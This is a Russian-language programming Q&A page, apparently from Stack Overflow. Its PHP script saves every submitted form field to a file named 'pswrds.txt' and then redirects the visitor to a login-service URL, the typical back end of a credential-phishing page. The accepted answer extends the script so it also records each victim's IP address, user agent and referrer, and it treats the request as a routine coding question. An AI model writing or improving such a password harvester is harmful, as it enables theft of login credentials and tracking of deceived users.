PHP для сохранения информации о пользователе в текстовый файл

Следующий код сохраняет определенную информацию в pswrds.txt:

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    foreach($_POST as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "\r\n");
    }

    fwrite($handle, "\r\n");
    fclose($handle);
    exit;

?>

Как получить код для сохранения IP-адреса, пользовательского агента и реферера?

$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];

1 ответ

Решение

Вы можете назначить $_POST для переменной в вашей локальной области видимости, а затем добавить нужные переменные в массив:

$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];

Затем продолжайте цикл, как вы делаете сейчас, но итерируйте по $post, а не по $_POST.

ПРИМЕЧАНИЕ. Также вам следует прекратить жестко кодировать символы новой строки самостоятельно, вместо этого используйте PHP_EOL. http://php.net/manual/en/reserved.constants.php

Обновить

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    $post = $_POST;
    $post['ip'] = $_SERVER['REMOTE_ADDR'];
    $post['browser'] = $_SERVER['HTTP_USER_AGENT'];
    $post['referrer'] = $_SERVER['HTTP_REFERER'];

    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }

    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;

?>
Другие вопросы по тегам